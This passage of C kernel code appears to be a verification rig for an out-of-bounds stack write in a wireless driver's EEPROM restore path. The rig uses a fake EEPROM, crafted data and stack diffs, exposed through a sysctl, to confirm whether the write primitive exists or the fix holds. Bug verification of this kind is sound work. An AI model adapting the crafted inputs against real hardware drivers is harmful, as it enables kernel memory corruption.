fake_eeprom_dev_bytes = 4096; fake_fail_all_reads = 0; memset(fake_eeprom, 0, sizeof(fake_eeprom)); craft_stream(4095, len, 0); plant_next_header(4095, len); r1 = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a); /* change ONLY the eeprom bytes destined for word[2048..2052] */ for (i = 0; i < 5; i++) fake_eeprom[4095 - (2048 + i)] = (unsigned char)(0xD0 + i); r2 = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_b); make_sig(sig, len); { int slen = 0; offa = locate_word(win_a, sig, &slen); offb = locate_word(win_b, sig, &slen); if (offa < 0) offa = dfh_last_word_off; if (offb < 0) offb = dfh_last_word_off; } kprintf("DFH: diff: two identical calls; only the eeprom bytes for " "word[2048..2052] differ (0xE0..E4 vs 0xD0..D4); ret1=%d " "ret2=%d off_a=%d off_b=%d\n", r1, r2, offa, offb); if (offa < 0 || offb < 0) { kprintf("DFH: diff: signature not found, no verdict\n"); return; } kprintf("DFH: diff: stack bytes that changed RELATIVE TO word[0] " "(range 2030..2063):"); for (i = 2030; i < 2064; i++) if (win_a[offa + i] != win_b[offb + i]) kprintf(" +%d(%02x->%02x)%s", i, win_a[offa + i], win_b[offb + i], (i >= MOUTPUT && i <= MOUTPUT + 4) ? "" : " (noise)"); kprintf("%s\n", n ? "" : " (none)"); for (i = MOUTPUT; i <= MOUTPUT + 4; i++) if (win_a[offa + i] != win_b[offb + i]) n++; kprintf("DFH: diff: %d stack byte(s) in the OOB slots " "word[2048..2052] track the eeprom content%s\n", n, n ? " -- controlled OOB write primitive " "*** DF-2255 CONFIRMED ***" : " -- no eeprom-controlled writes past word[2047] " "(FIX EFFECTIVE)"); ksprintf(df2255_status, "diff: %d tracked OOB byte(s)", n); } static void case_ovfall(void) { int len; for (len = 2043; len <= 2047; len++) case_ovf(len); } /* ------------------------------------------------------------------ */ /* sysctl front end */ /* ------------------------------------------------------------------ */ static int my_atoi(const char *s) { int v = 0, neg = 0; while (*s == ' ' || *s == '\t') s++; if (*s == '-') { neg = 1; s++; } while (*s >= '0' && *s <= '9') v = v * 10 + (*s++ - '0'); return neg ? -v : v; } static int sysctl_df2255_rig(SYSCTL_HANDLER_ARGS) { char buf[64]; int error; const char *cmd; ksprintf(buf, "%s", df2255_status); error = sysctl_handle_string(oidp, buf, sizeof(buf), req); if (error != 0 || req->newptr == NULL) return (error); cmd = buf; while (*cmd == ' ' || *cmd == '\t') cmd++; if (strcmp(cmd, "selftest") == 0) case_selftest(); else if (strcmp(cmd, "info") == 0) case_info(); else if (strcmp(cmd, "arrfail") == 0) case_arrfail(); else if (strcmp(cmd, "uninit") == 0) case_uninit(); else if (strcmp(cmd, "otp2k") == 0) case_otp2k(); else if (strcmp(cmd, "chk") == 0) case_chk(); else if (strcmp(cmd, "diff") == 0) case_diff(); else if (strcmp(cmd, "ovfall") == 0) case_ovfall(); else if (strncmp(cmd, "ovf", 3) == 0) case_ovf(my_atoi(cmd + 3)); else { ksprintf(df2255_status, "unknown command: %s", cmd); kprintf("DFH: unknown command: %s\n", cmd); return (0); } kprintf("DFH: command '%s' done\n", cmd); return (0); } SYSCTL_NODE(_kern, OID_AUTO, df2255, CTLFLAG_RW, 0, "DF-2255/56 rig"); SYSCTL_PROC(_kern_df2255, OID_AUTO, rig, CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, sysctl_df2255_rig, "A", "DF-2255/DF-2256 verification rig: info|arrfail|uninit|otp2k|chk|" "ovf <2043-2047>|ovfall|diff"); static void df2255_rig_init(void *dummy) { (void)dummy; df_ah9300.ah_eepromRead = df2255_eeprom_read_word; } SYSINIT(df2255_rig, SI_SUB_DRIVERS, SI_ORDER_ANY, df2255_rig_init, NULL); |